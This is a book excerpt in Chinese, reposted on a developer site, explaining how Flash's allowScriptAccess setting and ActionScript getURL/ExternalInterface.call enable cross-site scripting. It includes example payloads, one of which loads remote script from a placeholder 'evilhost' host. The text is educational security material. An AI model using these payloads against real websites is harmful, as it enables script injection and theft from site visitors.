《XSS跨站脚本攻击剖析与防御》—第6章6.4节利用Flash进行XSS攻击剖析

简介:

本节书摘来自异步社区《XSS跨站脚本攻击剖析与防御》一书中的第6章6.4节利用Flash进行XSS攻击剖析,作者邱永华,更多章节内容可以访问云栖社区“异步社区”公众号查看。

6.4 利用Flash进行XSS攻击剖析
XSS跨站脚本攻击剖析与防御
利用嵌入Web页面中的Flash进行XSS有一个决定因素:allowScriptAccess属性。allowScriptAccess是使用或

下面是一个简单的示例:

http://www.test.com/flashxss.swf allowScriptAccess=always>
allowScriptAccess属性控制着Flash与HTML页面的通信,可选的值有3个:

always:允许随时执行脚本操作
never:禁止所有脚本执行操作
samedomain:只有在Flash 应用程序来自与HTML页相同的域时才允许执行脚本操作
其属性值在Flash Player 7及之前版本中预设是always,代表Flash可以调用相同或不同domain的JavaScript函数。Flash Player 8或之后预设是sameDomain,也是现在多数Flash应用的默认状态,但是经常能看到有些程序允许将该选项设置为always。

allowScriptAccess实际上是Flash权限机制的API,前面提过的Security.allowDomain()也是其中一个。这些机制可以用于更改、调用应用程序的安全性环境。

权限机制API如图6-20所示。


c98af5564a164deae378a1bcca0e5765fb190c75

主机应用程序的本机方法权限机制API如图6-21所示。

eaf94ed175ef02253e091e827f9dabea40d4a0dc

而allowScriptAccess和allowNetworking都属于HTML参数权限机制API如图6-22所示。


e5482f3c0fa702aaaf2264d4b44b2f8dfa2a0d12

allowNetworking属性控制SWF 文件对网络功能的访问,因此对CSRF攻击有着至关重要的影响,稍后的内容会有讲解。

更多关于Flash权限机制API及其安全性的内容,可参看Adobe的官方白皮书Adobe Flash Player x Security。

假设在引入Flash文件时,HTML页面的或

在ActionScript中可以使用getURL()函数执行脚本代码。

ActionScript代码如下:

getURL('javascript: alert(123);');
把编译完成的SWF文件嵌入HTML文件中,代码如下:

<object id="foo" width="200" height="150">
  <param name="movie" value="movie.swf">
  <embed AllowScriptAccess="always" name="foo" src="xss.swf" type="application/x- shockwave-flash" width="200" height="150">
  </embed>
</object>

这时,直接浏览上述页面就会弹出一个对话框。

除了使用getURL()方法外,还可以使用ActionScript 3.0中的ExternalInterface类来执行JavaScript脚本。

ExternalInterface类是Flash与JavaScript 交互的枢纽,可以实现JavaScript与 ActionScript之间的所有通信。通过ExternalInterface类的call()方法可以直接调用外部的JavaScript。

ExternalInterface.call()的语法如下:

ExternalInterface.call(functionName:String,...arguments):*
参数说明:

functionName:要调用的JavaScript函数名
arguments:参数,可选
ExternalInterface.call()允许在ActionScript中调用JavaScript,有以下几种方式。

(1)传统用法。

第1个参数是JavaScript中的函数名,其他是要传递的参数。

ExternalInterface.call("alert", "你好!");
结果如图6-23和图6-24所示。


3888e1de5cd53fdf9299c063818f24b2e2f01b09

(2)直接执行JavaScript语句。

直接把JavaScript语句写入参数内:

ExternalInterface.call("function(){alert('xss');}");

或采用如下形式:

var xss:String = "function(){alert('cnn4ry');}"; 
ExternalInterface.call(xss);

(3)使用XML格式。

用XML在ActionScript 3.0中嵌入JavaScript,更方便编写XSS代码,方法如下:

import flash.external.ExternalInterface; 
var myJavaScript:XML = 
<script> 
  <![CDATA[ 
    function(){    
      function xss(){ 
        alert("hijacking"); 
      }; 
      xss(); 
    } 
  ]]> 
</script> 
ExternalInterface.call(myJavaScript);

图6-25所示为执行效果。


63313a6c669af0a3737aba10873af57965d269b1

(4)调用外部JavaScript。

以上方式都是通过调用容器中定义的JavaScript代码来完成,这样在进行XSS时会带来一定的不便。这时可以尝试动态加载外部的JavaScript脚本:

var fun = "var x=document.createElement(\"SCRIPT\");x.src=\"http://evilhost/xss.js\"; 
x.defer=true;document.getElementsByTagName(\"HEAD\")[0].appendChild(x);";
flash.external.ExternalInterface.call("eval", fun);

以上种种都是利用Flash执行XSS的方法。

本文仅用于学习和交流目的,不代表异步社区观点。非商业转载请注明作译者、出处,并保留本文的原始链接。

相关文章
|
2月前
|
JavaScript 安全 前端开发
同源策略如何防止 XSS 攻击?
【10月更文挑战第31天】同源策略通过对 DOM 访问、Cookie 访问、脚本执行环境和跨源网络请求等多方面的严格限制,构建了一道坚实的安全防线,有效地防止了 XSS 攻击,保护了用户在网络浏览过程中的数据安全和隐私。
107 49
|
2月前
|
安全 前端开发 Java
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第26天】Web安全是现代软件开发的重要领域,本文深入探讨了XSS和CSRF两种常见攻击的原理及防御策略。针对XSS,介绍了输入验证与转义、使用CSP、WAF、HTTP-only Cookie和代码审查等方法。对于CSRF,提出了启用CSRF保护、设置CSRF Token、使用HTTPS、二次验证和用户教育等措施。通过这些策略,开发者可以构建更安全的Web应用。
105 4
|
2月前
|
安全 Go PHP
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第27天】本文深入解析了Web安全中的XSS和CSRF攻击防御策略。针对XSS,介绍了输入验证与净化、内容安全策略(CSP)和HTTP头部安全配置;针对CSRF,提出了使用CSRF令牌、验证HTTP请求头、限制同源策略和双重提交Cookie等方法,帮助开发者有效保护网站和用户数据安全。
90 2
|
2月前
|
存储 安全 Go
Web安全基础:防范XSS与CSRF攻击的方法
【10月更文挑战第25天】Web安全是互联网应用开发中的重要环节。本文通过具体案例分析了跨站脚本攻击(XSS)和跨站请求伪造(CSRF)的原理及防范方法,包括服务器端数据过滤、使用Content Security Policy (CSP)、添加CSRF令牌等措施,帮助开发者构建更安全的Web应用。
116 3
|
2月前
|
SQL 存储 安全
什么是XSS攻击?什么是SQL注入攻击?什么是CSRF攻击?
理解并防范XSS、SQL注入和CSRF攻击是Web应用安全的基础。通过采用严格的输入验证、使用安全编码实践以及实现适当的身份验证和授权机制,可以有效防止这些常见的Web攻击,保障应用程序和用户的数据安全。
46 0
|
3月前
|
存储 JavaScript 安全
|
6月前
|
存储 安全 JavaScript
手摸手带你进行XSS攻击与防御
当谈到网络安全和信息安全时,跨站脚本攻击(XSS)是一个不可忽视的威胁。现在大家使用邮箱进行用户认证比较多,如果黑客利用XSS攻陷了用户的邮箱,拿到了cookie那么就可以冒充你进行收发邮件,那真就太可怕了,通过邮箱验证进行其他各种网站的登录与高危操作。 那么今天,本文将带大家深入了解XSS攻击与对应的防御措施。
|
4月前
|
存储 安全 JavaScript
XSS跨站脚本攻击详解(包括攻击方式和防御方式)
这篇文章详细解释了XSS跨站脚本攻击的概念、原理、特点、类型,并提供了攻击方式和防御方法。
671 1
|
3月前
|
存储 JavaScript 前端开发
Xss跨站脚本攻击(Cross Site Script)
Xss跨站脚本攻击(Cross Site Script)
|
6月前
|
SQL 安全 数据库
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
【7月更文挑战第26天】在 Python Web 开发中, 安全性至关重要。本文聚焦 SQL 注入、XSS 和 CSRF 这三大安全威胁,提供实战防御策略。SQL 注入可通过参数化查询和 ORM 框架来防范;XSS 则需 HTML 转义用户输入与实施 CSP;CSRF 防御依赖 CSRF 令牌和双重提交 Cookie。掌握这些技巧,能有效加固 Web 应用的安全防线。安全是持续的过程,需贯穿开发始终。
101 1
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!